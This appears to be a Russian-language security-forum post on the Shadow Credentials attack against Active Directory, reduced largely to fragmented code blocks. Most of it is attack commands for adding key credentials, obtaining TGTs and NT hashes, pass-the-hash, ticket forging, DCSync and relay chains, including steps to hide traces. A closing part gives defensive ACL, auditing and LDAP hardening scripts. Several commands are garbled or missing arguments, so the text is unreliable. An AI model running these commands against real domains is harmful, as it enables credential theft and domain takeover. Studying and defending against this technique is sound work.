ANTICHAT — форум по информационной безопасности, OSINT и технологиям

# Проверьте Domain Functional Level (должен быть 2016+)
Get-ADDomain | Select-Object DomainMode

# Linux: используйте BloodHound или ldapsearch
# Windows: используйте PowerView или встроенные AD cmdlets
Get-Acl
"AD:\CN=targetuser,CN=Users,DC=domain,DC=local"

# Добавить Shadow Credentials
Whisker.exe add /target:targetuser /domain:domain.local /dc:dc01.domain.local
# Output: PFX файл и команда для Rubeus

# Получить TGT + NT hash
Rubeus.exe asktgt /user:targetuser /certificate:BASE64_CERT /password:CERT_PASS /getcredentials

# Добавить Shadow Credentials
python3 pywhisker.py -d domain.local -u attacker -p password --target targetuser --action
add
# Output: PFX файл
# Получить TGT
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass certpass domain.local/targetuser tgt.ccache
# Записать AS-REP key из вывода!
# Извлечь NT hash
export
KRB5CCNAME
=
tgt.ccache
python3 getnthash.py -key

domain.local/targetuser

# Используйте полученный NT hash для Pass-the-Hash
crackmapexec smb

-u targetuser -H

msDS-KeyCredentialLink

msDS-KeyCredentialLink

KeyCredential {
  DeviceId: GUID — уникальный идентификатор устройства
  CreationTime: timestamp — время создания
  KeyUsage: NGC (0x8) — флаг использования для Windows Hello
  KeyIdentifier: hash публичного ключа
  PublicKey: DER-encoded RSA/ECC public key
  CustomKeyInfo: дополнительные метаданные (опционально)
}

AS reply key = KDF-SHA256(DHSharedSecret || clientDHNonce || serverDHNonce)

getnthash.py

/getcredentials

TGS-REQ:
  sname (service name) = принципал жертвы (запрос к себе)
  ENC-TKT-IN-SKEY = TRUE (флаг U2U аутентификации)
  additional-tickets = [TGT жертвы, полученный через PKINIT]
  FORWARDABLE = часто тоже установлен

# Whisker - добавление Shadow Credentials к целевому пользователю
Whisker.exe add /target:targetUser /domain:domain.local /dc:dc01.domain.local
# Output: Сгенерированный PFX сертификат + команда для Rubeus

# Rubeus - получение TGT + автоматическое извлечение NT hash
Rubeus.exe asktgt /user:targetUser /certificate:cert.pfx /password:certpass /getcredentials
# Output: TGT (base64), NT hash, AS-REP key

# pyWhisker - добавление Shadow Credentials
python3 pywhisker.py -d domain.local -u attacker -p password --target targetUser --action
add
# Output: Сгенерированный PFX файл, сохраняется локально
# PKINITtools - получение TGT через PKINIT
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass certpass domain.local/targetUser tgt.ccache
# Output: TGT сохранен в tgt.ccache, AS-REP key выведен в консоль (СОХРАНИТЕ ЕГО!)
# PKINITtools - извлечение NT hash через UnPACtheHash
export
KRB5CCNAME
=
tgt.ccache
python3 getnthash.py -key

domain.local/targetUser
# Output: NT hash целевого пользователя

# Всё в одном инструменте - добавить Shadow Credentials + получить TGT + NT hash
certipy shadow auto -username attacker@domain.local -p password -account targetUser
# Output: Автоматически выполняет весь flow и выводит NT hash

# Аутентификация без пароля через NT hash
crackmapexec smb target.domain.local -u targetUser -H

evil-winrm -i target.domain.local -u targetUser -H

# Подделка service ticket для конкретного сервиса
impacket-ticketer -nthash

-domain-sid

-domain domain.local -spn cifs/target.domain.local targetUser

# WMI execution
impacket-wmiexec domain.local/targetUser@target -hashes :

# RDP (если включен Restricted Admin mode)
xfreerdp /v:target.domain.local /u:targetUser /pth:

# Попытка восстановить plaintext пароль
hashcat -m
1000
-a
0

wordlist.txt

Цепочка атаки:
PetitPotam/PrinterBug → NTLM Relay → LDAP → Shadow Credentials

Если есть WriteDACL право:
1. Временно дать себе WriteProperty на msDS-KeyCredentialLink
2. Добавить Shadow Credentials
3. Восстановить исходный ACL (для stealth)
4. Использовать Shadow Credentials для доступа

Сложная цепочка:
1. Coerce authentication от DC (PrinterBug/PetitPotam/DFSCoerce)
2. Relay на другой DC через LDAP
3. Изменить msDS-KeyCredentialLink первого DC
4. Получить доступ к DC через PKINIT
5. DCSync или создание Golden Ticket

Явный DENY для EVERYONE на изменение msDS-KeyCredentialLink
для всех аккаунтов, которые НЕ используют Windows Hello for Business

$user = Get-ADUser "Administrator"
$acl = Get-Acl "AD:\$($user.DistinguishedName)"
$sid = [System.Security.Principal.SecurityIdentifier]"S-1-1-0" # EVERYONE
$ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
    $sid,
    [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
    [System.Security.AccessControl.AccessControlType]::Deny,
    [Guid]"5b47d60f-6090-40b2-9f37-2a4de88f3063" # msDS-KeyCredentialLink
)
$acl.AddAccessRule($ace)
Set-Acl "AD:\$($user.DistinguishedName)" $acl

# Проверка всех аккаунтов на наличие msDS-KeyCredentialLink
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
    Where-Object {$_.msDS-KeyCredentialLink} |
    Select-Object Name, SamAccountName, Enabled

# Добавить Shadow Credentials
Whisker.exe add /target:USER /domain:DOMAIN /dc:DC

# Получить TGT + NT hash
Rubeus.exe asktgt /user:USER /certificate:CERT.pfx /password:PASS /getcredentials

# Удалить Shadow Credentials (cleanup)
Whisker.exe remove /target:USER /deviceid:GUID

# Добавить Shadow Credentials
python3 pywhisker.py -d DOMAIN -u
USER
-p PASS --target TARGET --action
add
# Получить TGT
python3 gettgtpkinit.py -cert-pfx CERT.pfx -pfx-pass PASS DOMAIN/TARGET tgt.ccache
# Извлечь NT hash
export
KRB5CCNAME
=
tgt.ccache
python3 getnthash.py -key ASREP_KEY DOMAIN/TARGET
# Удалить Shadow Credentials
python3 pywhisker.py -d DOMAIN -u
USER
-p PASS --target TARGET --action remove --device-id GUID

# Автоматический flow
certipy shadow auto -u
USER
@DOMAIN -p PASS -account TARGET
# Ручной control
certipy shadow
add
-u
USER
@DOMAIN -p PASS -account TARGET
certipy shadow remove -u
USER
@DOMAIN -p PASS -account TARGET -device-id GUID

# Pass-the-Hash
crackmapexec smb TARGET -u
USER
-H NTHASH
evil-winrm -i TARGET -u
USER
-H NTHASH
# WMI Execution
impacket-wmiexec DOMAIN/
USER
@TARGET -hashes :NTHASH
# DCSync (если Domain Admin)
impacket-secretsdump DOMAIN/
USER
@DC -hashes :NTHASH

# Настройка SACL для msDS-KeyCredentialLink
Set-AuditRule -AdObjectPath 'AD:\DC=domain,DC=local' `
  -WellKnownSidType WorldSid `
  -Rights WriteProperty,GenericWrite `
  -InheritanceFlags All `
  -AttributeGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 `
  -AuditFlags Success

# Включить LDAP Signing
# GPO: DC: LDAP server signing requirements = Require signing

# Включить LDAP Channel Binding
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
  -Name "LdapEnforceChannelBinding" -Value 2 -Type DWord

# Функция для применения Deny ACE
function Set-DenyACE-KeyCredentialLink {
    param([string]$UserDN)
    $acl = Get-Acl "AD:\$UserDN"
    $sid = [System.Security.Principal.SecurityIdentifier]"S-1-1-0"
    $guid = [Guid]"5b47d60f-6090-40b2-9f37-2a4de88f3063"
    $ace = New-Object System.DirectoryServices.ActiveDirectoryAccessRule(
        $sid,
        [System.DirectoryServices.ActiveDirectoryRights]::WriteProperty,
        [System.Security.AccessControl.AccessControlType]::Deny,
        $guid
    )
    $acl.AddAccessRule($ace)
    Set-Acl "AD:\$UserDN" $acl
}

# Применить ко всем Domain Admins
Get-ADGroupMember "Domain Admins" | ForEach-Object {
    Set-DenyACE-KeyCredentialLink -UserDN $_.DistinguishedName
}

# 1. Очистить Shadow Credentials
Set-ADUser COMPROMISED_USER -Clear msDS-KeyCredentialLink

# 2. Проверка успешности
Get-ADUser COMPROMISED_USER -Properties msDS-KeyCredentialLink | Select msDS-KeyCredentialLink

# 3. Аудит всех privileged аккаунтов
Get-ADUser -Filter {AdminCount -eq 1} -Properties msDS-KeyCredentialLink |
    Where-Object {$_.msDS-KeyCredentialLink} |
    Select-Object Name, SamAccountName

# 4. Проверка всех аккаунтов с KeyCredentials
Get-ADUser -Filter * -Properties msDS-KeyCredentialLink |
    Where-Object {$_.msDS-KeyCredentialLink} |
    Export-Csv "KeyCredentials_Audit_$(Get-Date -Format 'yyyy-MM-dd').csv"